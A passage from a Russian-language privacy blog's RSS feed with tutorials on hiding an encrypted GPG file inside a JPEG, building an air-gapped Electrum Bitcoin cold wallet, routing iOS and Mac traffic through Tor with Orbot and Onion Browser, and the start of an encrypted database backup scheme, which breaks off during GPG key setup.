&lt;p&gt;Для шифрования можно использовать GnuPG. В большинстве случаев лучше шифровать данные с использованием публичного ключа (за исключением ситуаций, когда важна анонимность данных). Однако в этом примере я покажу, как зашифровать файл с помощью пароля:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gpg -c -o secret.gpg secret.txt 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Введи пароль, и файл будет зашифрован и сохранён на диске под именем &lt;strong&gt;secret.gpg&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;маскируем-шифрованный-gpg-файл-под-файл-jpeg&quot;&gt;Маскируем шифрованный GPG файл под файл JPEG&lt;/h2&gt;

&lt;p&gt;Предположим, у тебя есть файл &lt;strong&gt;secret.gpg&lt;/strong&gt;, и ты хочешь спрятать его внутри картинки &lt;strong&gt;image.jpg&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Первое, что необходимо сделать, — определить размеры обоих файлов &lt;strong&gt;и где-нибудь их записать&lt;/strong&gt; (например, в базе KeepassXC):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls -l image.jpg secret.gpg
-rw-r--r--@ 1 user  user  9880935 Feb 27 21:22 image.jpg
-rw-r--r--  1 user  user  2981978 Feb 27 22:53 secret.gpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;9880935&lt;/strong&gt; — это размер в байтах файла image.jpg, соответственно &lt;strong&gt;2981978&lt;/strong&gt; — размер secret.gpg.&lt;/p&gt;

&lt;p&gt;Теперь спрячем файл &lt;strong&gt;secret.gpg&lt;/strong&gt; в конец &lt;strong&gt;image.jpg&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat secret.gpg &amp;gt;&amp;gt;image.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Открой файл image.jpg и убедись, что картинка открывается как и ранее, только её размер увеличился на размер байт файла secret.gpg:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls -l image.jpg
-rw-r--r--@ 1 user  user  12862913 Feb 27 22:57 image.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Считаем: 9880935 (image.jpg) + 2981978 (secret.gpg) = 12862913 байт. Всё верно.&lt;/p&gt;

&lt;p&gt;Заодно можем повторно проверить тип файла:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file image.jpg
image.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=11, manufacturer=NIKON CORPORATION, model=NIKON D3100, orientation=upper-left, xresolution=180, yresolution=188, resolutionunit=2, software=Ver.1.01 , datetime=2025:01:26 16:28:02, GPS-Data], baseline, precision 8, 4608x3072, components 3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Как видишь — он не поменялся. Обязательно запусти его, убедись что открылась прежняя картинка, и что никаких ошибок не возникло.&lt;/p&gt;

&lt;h3 id=&quot;ещё-раз-важное-про-размер-файлов&quot;&gt;Ещё раз важное про размер файлов&lt;/h3&gt;

&lt;p&gt;Не забывай записывать размеры файлов &lt;strong&gt;до их слияния&lt;/strong&gt;, иначе восстановление файла потребует больше времени и определённых знаний.&lt;/p&gt;

&lt;h2 id=&quot;извлекаем-из-картинки-зашифрованный-gpg-файл&quot;&gt;Извлекаем из картинки зашифрованный gpg-файл&lt;/h2&gt;

&lt;p&gt;Для этого необходимо использовать утилиту &lt;strong&gt;dd&lt;/strong&gt;. Это утилита для низкоуровневого копирования и преобразования данных.&lt;/p&gt;

&lt;p&gt;Запускаем её так:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ dd if=image.jpg of=secret_new.gpg bs=1 count=2981978 skip=9880935
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Здесь &lt;strong&gt;count&lt;/strong&gt; — это размер в байтах извлекаемого файла (secret.gpg), а &lt;strong&gt;skip&lt;/strong&gt; (пропустить количество байт) — размер нашей картинки до её модификации.&lt;/p&gt;

&lt;p&gt;В аргументе &lt;strong&gt;if&lt;/strong&gt; указывается исходный файл, а в &lt;strong&gt;of&lt;/strong&gt; — файл, который создастся после выполнения этой команды.&lt;/p&gt;

&lt;p&gt;Давай убедимся, что новый файл создался без ошибок:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file secret_new.gpg
-rw-r--r--  1 user  user  2981978 Feb 27 23:04 secret_new.gpg
secret_new.gpg: PGP symmetric key encrypted data - AES with 256-bit key salted &amp;amp; iterated - SHA256 .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Можем еще сравнить хеш-суммы исходного файла и извлечённого из картинки:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ md5sum secret.gpg secret_new.gpg
3c08fea9fcea5fa4de02361eb6ee1d00  secret.gpg
3c08fea9fcea5fa4de02361eb6ee1d00  secret_new.gpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Как видишь, файлы secret.gpg и secret_new.gpg идеинтичны.&lt;/p&gt;

&lt;h2 id=&quot;что-делать-если-размер-файлов-был-утерян&quot;&gt;Что делать, если размер файлов был утерян&lt;/h2&gt;

&lt;p&gt;Если ты когда-то вставил один файл в конец другого и не записал их размеры, можно воспользоваться HEX-редактором.&lt;/p&gt;

&lt;p&gt;HEX-редактор — это программа, которая позволяет просматривать и редактировать данные на уровне байтов.&lt;/p&gt;

&lt;p&gt;В нём необходимо определить адрес начала заголовка дозаписанного файла. Обычно это можно сделать, найдя определённые сигнатуры или метаданные, характерные для этого типа файла. После того как ты определишь этот адрес, можно скопировать данные с этого места до конца файла и вставить их в новый файл.&lt;/p&gt;

&lt;h2 id=&quot;важное-про-картинкифотографии-и-другой-медиа-контент&quot;&gt;Важное про картинки/фотографии и другой медиа-контент&lt;/h2&gt;

&lt;p&gt;Учитывай, что графические файлы со спрятанными данными нельзя загружать на сервисы, которые как-либо сжимают изображения. Также их нельзя редактировать в графических редакторах, иначе ты потеряешь свои данные.&lt;/p&gt;

&lt;p&gt;Такое же правило действует и для любого другого медиа-контента.&lt;/p&gt;

&lt;h2 id=&quot;какой-формат-файла-выбрать-для-маскировки&quot;&gt;Какой формат файла выбрать для маскировки?&lt;/h2&gt;

&lt;p&gt;Самое важное — всегда выбирай форматы и файлы в соответствии с объёмом файла, который хочешь спрятать, чтобы не привлекать внимание.&lt;/p&gt;

&lt;p&gt;Например, ключ от базы keepassxc можно спрятать и в картинку. Но вот если у тебя есть шифрованный LUKS-контейнер объёмом 5 Гб, то JPEG-файл, естественно, для этого рассматривать не стоит. Попробуй дописать его в какой-нибудь фильм хорошего качества, например. Или в объёмный RAR-архив.&lt;/p&gt;

&lt;p&gt;Учти, что не со всеми типами файлов такой трюк работает (например, с docx у меня не сработало). Файл-то всегда допишется в конец, но исходный файл может уже не открыться после этого. Некоторые форматы файлов и программы очень придирчивы к лишнему содержанию и проверяют контрольные суммы, а в случае несовпадения - выдают ошибку. А нам нужно чтобы файл открывался и не привлекал лишнего внимания. Поэтому всегда проверяй работоспособность файла после слияний.&lt;/p&gt;

&lt;h2 id=&quot;напоследок-несколько-важных-моментов&quot;&gt;Напоследок несколько важных моментов&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Всегда перед экспериментами делай резервные копии файлов, потому что что-то может пойти не так.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Все важные файлы перед маскировкой обязательно шифруй! Особенно это актуально для файлов, которые ты собираешься публиковать в интернете (кстати, неплохая идея для бэкапов).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Дозапись файла — самый примитивный вариант стеганографии, и он довольно легко определяется специальными инструментами, поэтому если нужна хорошая защита, то имеет смысл рассмотреть какой-нибудь более сложный метод скрытия.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Sat, 01 Mar 2025 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/hide-a-secret-file-in-an-image/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/hide-a-secret-file-in-an-image/</guid>
      </item>
    
      <item>
        <title>Создаем свой собственный холодный кошелек для Bitcoin</title>
        <description>&lt;p&gt;&lt;strong&gt;Холодный кошелек&lt;/strong&gt; — это способ хранения криптовалюты, который не подключен к интернету. Это делает его более безопасным, поскольку хранящиеся в нем средства менее подвержены хакерским атакам и вирусам.&lt;/p&gt;

&lt;p&gt;Существует два типа холодных кошельков: аппаратные и бумажные. Аппаратные кошельки — это специальные устройства, которые хранят твои ключи офлайн. Бумажные кошельки — это просто распечатанные или записанные ключи и QR-коды.&lt;/p&gt;

&lt;p&gt;Идея использования специальных устройств для хранения криптовалюты мне не нравится, потому что, во-первых, они недешевые, во-вторых, они привлекают лишнее внимание. На мой взгляд, у нас есть все, чтобы создать такое устройство самостоятельно.&lt;/p&gt;

&lt;h2 id=&quot;что-нам-потребуется&quot;&gt;Что нам потребуется&lt;/h2&gt;

&lt;p&gt;Если у тебя есть старый и ненужный ноутбук, ты можешь установить на него любую ОС и отключить устройство от интернета (навсегда!). Например, можно не устанавливать драйверы или отключить/вытащить Wi-Fi-модуль. Главное — чтобы устройство никогда не подключалось к сети случайно.&lt;/p&gt;

&lt;p&gt;Если лишнего компьютера нет, то есть еще один вариант — использовать &lt;a href=&quot;https://cryptopunks.org/article/anonymous+secure+linux+distribution+tails/&quot;&gt;флешку с Tails&lt;/a&gt;. Просто установи Tails и зайди в систему с отключенным интернетом (такая опция имеется в Tails).&lt;/p&gt;

&lt;p&gt;Также нам понадобится второй компьютер (может быть, это твой основной), но подключенный к интернету. Далее я объясню, для чего все это нужно.&lt;/p&gt;

&lt;h2 id=&quot;условные-обозначения&quot;&gt;Условные обозначения&lt;/h2&gt;

&lt;p&gt;Чтобы было проще, далее в тексте я буду называть отключенный от интернета компьютер или флешку с Tails &lt;strong&gt;холодным кошельком&lt;/strong&gt;, а компьютер, подключенный к интернету, — &lt;strong&gt;основным компьютером&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;подготовка-системы-и-создание-кошелька&quot;&gt;Подготовка системы и создание кошелька&lt;/h2&gt;

&lt;p&gt;Сейчас все действия мы будем выполнять только на холодном кошельке!&lt;/p&gt;

&lt;p&gt;Заходим на сайт &lt;a href=&quot;https://electrum.org&quot;&gt;https://electrum.org/&lt;/a&gt; и скачиваем приложение для нужной платформы, переносим установочный файл на холодный кошелек и выполняем установку. Кстати, в Tails он уже установлен по умолчанию.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ВАЖНО!&lt;/strong&gt; Electrum следует скачивать &lt;strong&gt;исключительно&lt;/strong&gt; с официального сайта или с репозиториев доверенного дистрибутива. Это популярный софт, и его часто подделывают, чтобы красть чужие биткоины, поэтому будь крайне осторожен.&lt;/p&gt;

&lt;p&gt;Запускаем Electrum, вводим название кошелька, далее выбираем &lt;strong&gt;Standard wallet&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Create a new seed&lt;/strong&gt;, сохраняем seed-фразу из 12 слов в надежном месте и вводим ее повторно. После этого задаем пароль и выбираем &lt;strong&gt;Encrypt wallet file&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Все, кошелек создан!&lt;/p&gt;

&lt;h3 id=&quot;небольшое-отступление-для-тех-кто-не-в-теме&quot;&gt;Небольшое отступление для тех, кто не в теме&lt;/h3&gt;

&lt;p&gt;Теперь подробнее о том, что это все значит. Seed-фраза — это то, что позволит любому человеку получить доступ к твоим сбережениям. Потеряв ее, ты потеряешь все биткоины. Поэтому к сохранению этой фразы нужно подходить серьезно. Лучше всего сохранить ее в надежном месте, например, на шифрованной флешке или в keepassxc. Важно, чтобы эту флешку не подключали к устройствам, подключенным к интернету, иначе все наши дальнейшие действия теряют смысл.&lt;/p&gt;

&lt;p&gt;Пароль, который ты указал после создания seed-фразы, шифрует только файл твоего кошелька на компьютере. Он будет использоваться лишь для расшифровки базы данных кошелька при запуске Electrum. Для восстановления кошелька достаточно только seed-фразы, а пароль не требуется. То есть если твоя флешка или ноутбук выйдут из строя, ты сможешь восстановить кошелек только с помощью seed-фразы.&lt;/p&gt;

&lt;h3 id=&quot;копирование-публичного-ключа&quot;&gt;Копирование публичного ключа&lt;/h3&gt;

&lt;p&gt;На &lt;strong&gt;холодном кошельке&lt;/strong&gt; нужно скопировать публичную часть ключа и перенести ее на основной компьютер с интернетом.&lt;/p&gt;

&lt;p&gt;В Electrum выбери меню &lt;strong&gt;Wallet&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Information&lt;/strong&gt; и скопируй публичный ключ из поля &lt;strong&gt;Master public key&lt;/strong&gt;. Сохрани его в файл, запиши на флешку и подключи флешку к основному компьютеру.&lt;/p&gt;

&lt;h3 id=&quot;импорт-публичного-ключа&quot;&gt;Импорт публичного ключа&lt;/h3&gt;

&lt;p&gt;На &lt;strong&gt;основном компьютере&lt;/strong&gt; устанавливаем Electrum, создаем &lt;strong&gt;Standard wallet&lt;/strong&gt;, но вместо &lt;strong&gt;Create a new seed&lt;/strong&gt; выбираем &lt;strong&gt;Use a master key&lt;/strong&gt; и вставляем публичный ключ с флешки. Далее также задаем пароль и выбираем &lt;strong&gt;Encrypt wallet file&lt;/strong&gt;. Все, необходимое окружение готово!&lt;/p&gt;

&lt;p&gt;Все, холодный кошелек и основная система готовы к работе!&lt;/p&gt;

&lt;h2 id=&quot;алгоритм-безопасной-работы-с-bitcoin&quot;&gt;Алгоритм безопасной работы с bitcoin&lt;/h2&gt;

&lt;h3 id=&quot;просмотр-баланса-и-адресов&quot;&gt;Просмотр баланса и адресов&lt;/h3&gt;

&lt;p&gt;Теперь на &lt;strong&gt;основном компьютере&lt;/strong&gt; ты сможешь видеть баланс своего кошелька, доступные адреса, но не сможешь проводить переводы без участия холодного кошелька. Даже если ты подхватишь вирус, который украдет кошелек, он не сможет ничего сделать, кроме как просматривать баланс, потому что секретный ключ хранится на другом, отключенном от интернета устройстве.&lt;/p&gt;

&lt;h3 id=&quot;получение-криптовалюты&quot;&gt;Получение криптовалюты&lt;/h3&gt;

&lt;p&gt;Открой на &lt;strong&gt;основном компьютере&lt;/strong&gt; Electrum, зайди в кошелек и скопируй адрес из вкладки &lt;strong&gt;Addresses&lt;/strong&gt; (для этого включи отображение адресов в меню &lt;strong&gt;View&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Addresses&lt;/strong&gt;). Передай этот адрес человеку, который должен перевести тебе крипту.&lt;/p&gt;

&lt;h3 id=&quot;отправка-криптовалюты&quot;&gt;Отправка криптовалюты&lt;/h3&gt;

&lt;h4 id=&quot;на-основном-компьютере&quot;&gt;На основном компьютере&lt;/h4&gt;

&lt;p&gt;Допустим, у тебя уже есть криптовалюта на кошельке. Заходи в &lt;strong&gt;Send&lt;/strong&gt;, в поле &lt;strong&gt;Pay to&lt;/strong&gt; укажи адрес получателя, в &lt;strong&gt;Amount&lt;/strong&gt; — необходимую сумму и нажми &lt;strong&gt;Pay…&lt;/strong&gt;. Выбери комиссию за перевод и в следующем окне нажми &lt;strong&gt;Share&lt;/strong&gt; и выбери &lt;strong&gt;Save to file&lt;/strong&gt;. Сохрани файл на флешку и подключи ее к холодному кошельку. Это файл с транзакцией, который нужно подписать приватным ключом для дальнейшей отправки средств.&lt;/p&gt;

&lt;h4 id=&quot;на-холодном-кошельке&quot;&gt;На холодном кошельке&lt;/h4&gt;

&lt;p&gt;Открой &lt;strong&gt;Tools&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Load transaction&lt;/strong&gt; -&amp;gt; &lt;strong&gt;From file&lt;/strong&gt; и выбери файл с транзакцией. Подпиши транзакцию приватным ключом, нажав &lt;strong&gt;Sign&lt;/strong&gt;, введи пароль от кошелька и нажми &lt;strong&gt;Share&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Save to file&lt;/strong&gt;. Сохрани его на флешку и вернись к основному компьютеру.&lt;/p&gt;

&lt;h4 id=&quot;на-основном-компьютере-1&quot;&gt;На основном компьютере&lt;/h4&gt;

&lt;p&gt;Кликни &lt;strong&gt;Tools&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Load transaction&lt;/strong&gt; -&amp;gt; &lt;strong&gt;From file&lt;/strong&gt; и выбери подписанный файл. Затем нажми &lt;strong&gt;Broadcast&lt;/strong&gt;. Все, твоя крипта отправлена!&lt;/p&gt;

&lt;h2 id=&quot;в-заключение&quot;&gt;В заключение&lt;/h2&gt;

&lt;p&gt;Теперь ты знаешь, как создать свой собственный холодный кошелек для хранения биткойнов, обеспечив максимальную безопасность своих средств. Следуя этим простым шагам, ты сможешь значительно снизить риски и защитить свои криптовалютные активы от хакеров и других угроз. Помни, что безопасность — это ключевая составляющая работы с криптовалютой, за её сохранность ответственнен только ты.&lt;/p&gt;

&lt;p&gt;Если тебе понравилась статья и ты хочешь поддержать мой труд, то &lt;a href=&quot;/donate&quot;&gt;можешь задонатить мне&lt;/a&gt;. Даже незначительные суммы очень мотивируют. Все средства пойдут на развитие проекта и создание новых материалов для тебя!&lt;/p&gt;
</description>
        <pubDate>Fri, 07 Feb 2025 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/create-your-own-cold-bitcoin-wallet/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/create-your-own-cold-bitcoin-wallet/</guid>
      </item>
    
      <item>
        <title>Пускаем весь трафик iPhone/iPad/Mac через сеть Tor</title>
        <description>&lt;p&gt;Если с Tor в MacOS почти нет никаких проблем, т.к это полноценная Unix-система, то с iOS/iPadOS дела обстоят гораздо хуже из-за серьезных ограничений системы. На айфоне нельзя даже настроить SOCKS-прокси, причем не только глобально, но даже в браузерах. Однако эти проблемы частично решаемы.&lt;/p&gt;

&lt;p&gt;Кроме того, под iPhone/iPad существует неплохая альтернатива Tor Browser. Но обо всём по порядку.&lt;/p&gt;

&lt;h2 id=&quot;что-такое-orbot&quot;&gt;Что такое Orbot&lt;/h2&gt;

&lt;p&gt;По сути, Orbot — это графическая оболочка для Tor, которая позволяет проксировать весь трафик устройства через сеть Tor.&lt;/p&gt;

&lt;p&gt;Изначально он существовал только для Android, но в 2022 году незаметно появился и для iOS. Однако найти его в App Store практически невозможно. Если ввести ‘Orbot’ или ‘TorBrowser’, то в результатах поиска появится огромное количество сомнительного ПО, часто за деньги, и неясно, кто за этим стоит и можно ли доверять этим людям. Не знаю, связано ли это с тем, что Apple не хочет, чтобы находили оригинальное ПО, или с тем, что у тех, кто платит деньги, может быть нечестное ранжирование. В любом случае, мне его удалось найти только через браузер и поисковик &lt;strong&gt;duckduckgo&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Проект развивается некоммерческой организацией Guardian Project и является полностью опенсорсным.&lt;/p&gt;

&lt;h3 id=&quot;где-скачать&quot;&gt;Где скачать&lt;/h3&gt;

&lt;p&gt;Я не буду размещать ссылки на App Store, а лучше дам ссылку на официальный сайт, там всё это есть: &lt;a href=&quot;https://orbot.app/&quot;&gt;https://orbot.app/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Заходишь, кликаешь на ссылку в App Store, устанавливаешь и соглашаешься со всеми условиями (на устройствах iOS он спросит, можно ли добавить VPN — да, можно). Есть версии для Mac, iPhone и iPad.&lt;/p&gt;

&lt;h3 id=&quot;запуск-и-настройка&quot;&gt;Запуск и настройка&lt;/h3&gt;

&lt;h4 id=&quot;macos&quot;&gt;MacOS&lt;/h4&gt;

&lt;p&gt;Запускаем Orbot и выбираем &lt;strong&gt;Run smart connect to find the best way&lt;/strong&gt;, чтобы он выбрал оптимальный способ подключения к Tor. Если в твоей стране блокируется Tor и эта опция не помогла, то нажми на &lt;strong&gt;Choose how to Connect&lt;/strong&gt; и попробуй поочередно каждый доступный способ.&lt;/p&gt;

&lt;h4 id=&quot;ios--ipados&quot;&gt;iOS / iPadOS&lt;/h4&gt;

&lt;p&gt;Здесь всё плохо, если в твоей стране блокируется Tor. Ранее такие настройки обхода цензуры были, но их убрали из-за странной политики Apple (подробности &lt;a href=&quot;https://github.com/guardianproject/orbot-apple/issues/94#issuecomment-2395047362&quot;&gt;тут&lt;/a&gt;). В любом случае, есть небольшой выход — OnionBrowser, но о нём немного ниже.&lt;/p&gt;

&lt;p&gt;Если же Tor не блокируется, просто нажми &lt;strong&gt;Start&lt;/strong&gt;, и весь трафик начнёт шифроваться и идти через Tor.&lt;/p&gt;

&lt;p&gt;Советую ещё покопаться в настройках — там много интересного функционала. В том числе, можно во всех браузерах с включённым Orbot, например, блокировать все всплывающие окна, веб-сокеты, пинги и т. д. (если что, это пункт &lt;strong&gt;Content Blocker&lt;/strong&gt;).&lt;/p&gt;

&lt;h2 id=&quot;браузер-onionbrowser-как-замена-tor-browser-на-ios&quot;&gt;Браузер OnionBrowser, как замена Tor Browser на iOS&lt;/h2&gt;

&lt;p&gt;К сожалению, из-за определённых технических ограничений Tor Browser для iPhone/iPad на данный момент не существует (под macOS и другие платформы рекомендую использовать именно его), но та же некоммерческая организация Guardian Project выпустила опенсорсный &lt;strong&gt;Onion Browser&lt;/strong&gt; как альтернативу Tor Browser.&lt;/p&gt;

&lt;h3 id=&quot;где-скачать-1&quot;&gt;Где скачать&lt;/h3&gt;

&lt;p&gt;Скачать его можно на официальном сайте: &lt;a href=&quot;https://onionbrowser.com/&quot;&gt;https://onionbrowser.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Там же находятся ссылки на магазин App Store.&lt;/p&gt;

&lt;h3 id=&quot;режимы-работы-и-обход-блокировок-tor&quot;&gt;Режимы работы и обход блокировок Tor&lt;/h3&gt;

&lt;p&gt;Onion Browser может работать как в связке с Orbot, так и самостоятельно. Если в твоей стране блокируется Tor, при запуске обязательно выбери опцию &lt;strong&gt;Start built-in Tor&lt;/strong&gt; — тогда появится возможность настраивать мосты для обхода блокировок (в Orbot теперь этого функционала для iOS нет).&lt;/p&gt;

&lt;p&gt;Если Tor тебе нужен только в этом браузере (без проксирования всего трафика с устройства), имеет смысл выбрать эту опцию и не использовать дополнительно Orbot в связке с этим браузером.&lt;/p&gt;

&lt;h3 id=&quot;более-тонкая-настройка-и-впечатления&quot;&gt;Более тонкая настройка и впечатления&lt;/h3&gt;

&lt;p&gt;К слову, браузер очень удобный, у него есть много полезных настроек и уровней безопасности. Например, можно отключить JS, запретить сохранение cookie, запретить доступ к микрофону и камере, менять user-agent. Но самое интересное — все эти настройки можно устанавливать как глобально, так и для каждого сайта отдельно!&lt;/p&gt;

&lt;p&gt;Еще один момент, который может раздражать. При свёртывании приложения все открытые вкладки закрываются. Для того чтобы всё сохранялось надо перейти в настройки и в пункте &lt;strong&gt;Tab Security&lt;/strong&gt; выбрать &lt;strong&gt;Remember tabs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Кстати, в отличие от браузеров, таких как &lt;strong&gt;Firefox&lt;/strong&gt; и &lt;strong&gt;DuckDuckGo Browser&lt;/strong&gt;, у него очень плавная и приятная прокрутка. А также можно синхронизировать закладки через свой сервер Nextcloud. В общем, работать с ним одно удовольствие.&lt;/p&gt;

&lt;h2 id=&quot;в-заключение&quot;&gt;В заключение&lt;/h2&gt;

&lt;p&gt;В итоге, с помощью правильных инструментов и немного усилий можно существенно повысить свою безопасность и анонимность в интернете даже на iOS. Не забывай следить за актуальностью используемых решений и постоянно обновлять свои навыки защиты.&lt;/p&gt;
</description>
        <pubDate>Thu, 06 Feb 2025 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/tor-on-ios-in-one-click/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/tor-on-ios-in-one-click/</guid>
      </item>
    
      <item>
        <title>Безопасная схема бэкапов СУБД</title>
        <description>&lt;p&gt;Я много лет ломал голову над тем, как сделать бэкапы удобными и при этом безопасными. Уже давно вынашивал один вариант, но всё время что-то не устраивало в нём. И лишь недавно я открыл одну особенность у GnuPG, которая мне позволила осуществить давнюю мечту.&lt;/p&gt;

&lt;h2 id=&quot;кратко-о-схеме&quot;&gt;Кратко о схеме&lt;/h2&gt;

&lt;p&gt;Допустим, есть много серверов с базами данных и всякими другими важными файлами, которым необходимо переодически делать резервную копию.&lt;/p&gt;

&lt;p&gt;Идея в следующем: мы создаем одну независимую VPS и даем ей доступы ко всем нашим серверам по SSH под отдельным юзером и без доступа к шеллу (нужен только форвард портов). Она копирует к себе необходимые файлы, снимает дампы, шифрует всё это нашим публичным ключиком gpg и заливает зашифрованные файлы в облако, либо в специальное хранилище.&lt;/p&gt;

&lt;h2 id=&quot;алгоритм-сжатия-zlib&quot;&gt;Алгоритм сжатия Zlib&lt;/h2&gt;

&lt;p&gt;GPG, как оказалось, шифруя файлы предварительно их сжимает, по дефолту это алгоритм сжатия zlib. И процесс сжатия весьма неплох, но больше всего поражает скорость! Ранее я делал &lt;strong&gt;pg_dump&lt;/strong&gt; и через pipe пускал bzip2 и только потом шифровал GPG. Но оказалось, что часть с bzip2 можно пропустить, потому что gpg прекрасно сожмет текстовый дамп ничуть не хуже bzip2, но при этом быстрее в раз 10! На слабой VPS 50-гигабайтные текстовые бэкапы сжались и зашифровались gpg менее чем за 10 минут. То есть получается это минус один бесполезный, долгий и трудозатратный шаг. А значит если инфраструктура не сильно большая, то можно обойтись дешманской VPS’кой для снятия и шифрования бекапов.&lt;/p&gt;

&lt;h2 id=&quot;обозначения-и-роли-компонентов-системы&quot;&gt;Обозначения и роли компонентов системы&lt;/h2&gt;

&lt;p&gt;Чтобы далее не запутаться давай введем обозначения:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;macbook&lt;/strong&gt; - ноутбук, на котором будет создаваться и храниться приватная часть ключа GPG&lt;br /&gt;
&lt;strong&gt;backups-vps&lt;/strong&gt; - это машина, которая будет ходить на сервера и собирать бэкапы. На ней же будут публичные ключи GPG для шифрования дампов.&lt;br /&gt;
&lt;strong&gt;prod&lt;/strong&gt; - пример сервера с PostgreSQL на который будет ходить наша машинка backups-vps и собирать бэкапы.&lt;/p&gt;

&lt;h2 id=&quot;готовим-ключ-gpg&quot;&gt;Готовим ключ GPG&lt;/h2&gt;

&lt;p&gt;Тут всё просто. Генерируем на своей личной машине пару ключей (если их еще у тебя нет, конечно):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;macbook $ gpg --full-generate-key
gpg (GnuPG) 2.3.8; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (9) ECC (sign and encrypt) *default*
  (10) ECC (sign only)
  (14) Existing key from card
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      &amp;lt;n&amp;gt;  = key expires in n days
      &amp;lt;n&amp;gt;w = key expires in n weeks
      &amp;lt;n&amp;gt;m = key expires in n months
      &amp;lt;n&amp;gt;y = key expires in n years
Key is valid for? (0) 5y
Key expires at Tue Nov  9 16:15:50 2027 +04
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: Cryptopunks
Email address: meow@cryptopunks.org
Comment:
You selected this USER-ID:
    &quot;Cryptopunks &amp;lt;meow@cryptopunks.org&amp;gt;&quot;

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Приватному ключу обязательно задаём криптостойкий пароль!&lt;/p&gt;

&lt;p&gt;Далее экспортируем &lt;strong&gt;публичную часть&lt;/strong&gt; ключа:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;macbook $ gpg --list-keys
pub   rsa4096 2022-11-10 [SC] [expires: 2027-11-09]
      09C4C85DFC551EA1C582849AD2E40C9B90FA7366
uid           [ultimate] Cryptopunks &amp;lt;meow@cryptopunks.org&amp;gt;
sub   rsa4096 2022-11-10 [E] [expires: 2027-11-09]

